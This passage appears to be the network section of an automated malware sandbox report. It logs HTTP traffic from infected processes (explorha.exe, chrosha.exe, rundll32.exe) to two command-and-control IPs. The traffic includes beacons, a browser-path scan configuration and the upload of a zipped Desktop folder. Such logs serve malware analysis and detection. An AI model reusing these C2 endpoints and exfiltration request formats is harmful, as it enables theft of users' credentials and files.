68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFIL

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49890	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:08.961575031 CEST	156	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Apr 19, 2024 03:30:09.212527037 CEST	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 30 0d 0a 20 2b 2b 2b 5f 31 5f 39 64 33 66 64 38 30 32 31 38 32 64 63 31 35 61 33 34 61 31 39 37 62 36 66 63 64 34 36 61 62 39 38 65 36 30 30 63 62 64 61 65 36 64 33 64 35 33 39 34 39 38 66 31 30 32 35 61 62 38 37 61 65 37 30 32 37 31 30 30 39 32 31 66 65 37 61 36 36 61 64 66 35 66 2d 31 2d 5f 32 5f 63 66 32 34 64 31 34 61 32 65 37 32 38 66 36 39 36 36 66 62 63 34 66 64 62 61 63 36 33 65 38 38 64 38 33 39 35 39 66 62 66 65 36 30 34 64 30 64 64 38 39 32 66 31 33 33 35 63 65 63 32 64 39 33 35 33 32 33 35 33 63 39 35 38 62 32 64 30 36 36 64 38 32 63 2d 32 2d 5f 33 5f 62 33 33 38 62 30 30 30 31 62 31 36 63 39 31 61 36 64 61 32 61 35 66 66 64 36 65 39 34 35 39 39 39 65 33 35 30 32 61 64 61 62 36 32 37 64 30 30 38 62 64 39 38 31 33 34 30 36 62 33 37 35 65 36 32 66 33 34 2d 33 2d 5f 34 5f 62 62 31 65 38 33 30 39 30 64 32 37 64 32 31 66 37 36 61 34 39 63 38 30 64 64 63 35 35 65 38 61 61 31 30 61 30 66 38 32 63 64 32 32 35 32 30 30 39 64 63 31 61 36 33 62 31 37 39 37 35 61 62 36 30 39 32 34 2d 34 2d 5f 35 5f 63 62 36 65 39 33 31 31 33 31 30 63 38 65 34 33 37 39 61 62 63 30 61 35 63 38 66 34 34 35 66 61 38 35 32 30 32 65 61 32 63 64 36 34 34 63 36 37 61 63 64 64 38 63 31 64 32 39 38 30 32 66 61 64 35 33 30 39 31 37 62 66 33 35 65 39 64 66 37 66 62 62 32 32 32 64 35 61 38 36 34 61 35 39 30 63 34 63 62 38 39 39 34 36 33 37 37 65 33 34 39 35 65 36 31 62 35 63 65 65 39 39 63 31 65 37 65 32 66 33 61 63 62 62 37 65 66 61 33 33 61 65 32 37 30 39 32 36 37 31 35 31 63 66 30 63 64 36 32 39 31 66 38 31 34 33 34 38 32 33 34 39 66 39 61 63 66 32 31 62 33 64 37 38 34 65 32 37 32 64 2d 35 2d 0d 0a 30 0d 0a 0d 0a Data Ascii: 210 +++_1_9d3fd802182dc15a34a197b6fcd46ab98e600cbdae6d3d539498f1025ab87ae7027100921fe7a66adf5f-1-_2_cf24d14a2e728f6966fbc4fdbac63e88d83959fbfe604d0dd892f1335cec2d93532353c958b2d066d82c-2-_3_b338b0001b16c91a6da2a5ffd6e945999e3502adab627d008bd9813406b375e62f34-3-_4_bb1e83090d27d21f76a49c80ddc55e8aa10a0f82cd2252009dc1a63b17975ab60924-4-_5_cb6e9311310c8e4379abc0a5c8f445fa85202ea2cd644c67acdd8c1d29802fad530917bf35e9df7fbb222d5a864a590c4cb89946377e3495e61b5cee99c1e7e2f3acbb7efa33ae2709267151cf0cd6291f8143482349f9acf21b3d784e272d-5-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49891	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:09.153615952 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:09.398745060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49892	193.233.132.167	80	3844	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:09.223113060 CEST	173	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Apr 19, 2024 03:30:09.471394062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:12.813725948 CEST	169	OUT	POST /enigma/index.php?wal=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----NDYyMQ== Host: 193.233.132.167 Content-Length: 4781 Cache-Control: no-cache
Apr 19, 2024 03:30:12.813757896 CEST	140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 44 59 79 4d 51 3d 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------NDYyMQ==Content-Disposition: form-data; name="data"; filename="246122658369_Desktop.zip"Content-Type: application/octet-stream
Apr 19, 2024 03:30:12.813802004 CEST	8	OUT	Data Raw: 50 4b 03 04 14 00 00 00 Data Ascii: PK
Apr 19, 2024 03:30:12.813829899 CEST	8	OUT	Data Raw: 08 00 1d 82 44 57 19 a3 Data Ascii: DW
Apr 19, 2024 03:30:12.813857079 CEST	8	OUT	Data Raw: 19 73 86 02 00 00 02 04 Data Ascii: s
Apr 19, 2024 03:30:12.813868999 CEST	8	OUT	Data Raw: 00 00 17 00 00 00 5f 46 Data Ascii: _F
Apr 19, 2024 03:30:12.813894033 CEST	8	OUT	Data Raw: 69 6c 65 73 5f 5c 42 4a Data Ascii: iles_\BJ
Apr 19, 2024 03:30:12.813951015 CEST	8	OUT	Data Raw: 5a 46 50 50 57 41 50 54 Data Ascii: ZFPPWAPT
Apr 19, 2024 03:30:12.813951015 CEST	8	OUT	Data Raw: 2e 64 6f 63 78 15 93 49 Data Ascii: .docxI
Apr 19, 2024 03:30:12.813968897 CEST	8	OUT	Data Raw: 8e 40 21 08 44 f7 9d f4 Data Ascii: @!D
Apr 19, 2024 03:30:12.814203978 CEST	8	OUT	Data Raw: a1 10 bf 38 82 f3 74 ff Data Ascii: 8t
Apr 19, 2024 03:30:13.080621004 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49893	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:09.523113012 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:09.771038055 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:09.791385889 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:10.042619944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49894	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:09.789484024 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:10.040970087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49895	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:10.290652990 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:10.539504051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49896	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:10.396213055 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:10.639931917 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:10.641870022 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:10.890790939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49897	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:10.902688026 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:11.152785063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49899	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:11.243176937 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:11.491249084 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:11.494462967 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:11.747539043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49900	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:11.401204109 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:11.647221088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49903	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:12.026812077 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:12.275314093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49904	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:12.094748974 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:12.336752892 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:12.337548971 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:12.584876060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49905	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:12.524935007 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:12.776716948 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49906	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:12.947726011 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:13.199318886 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
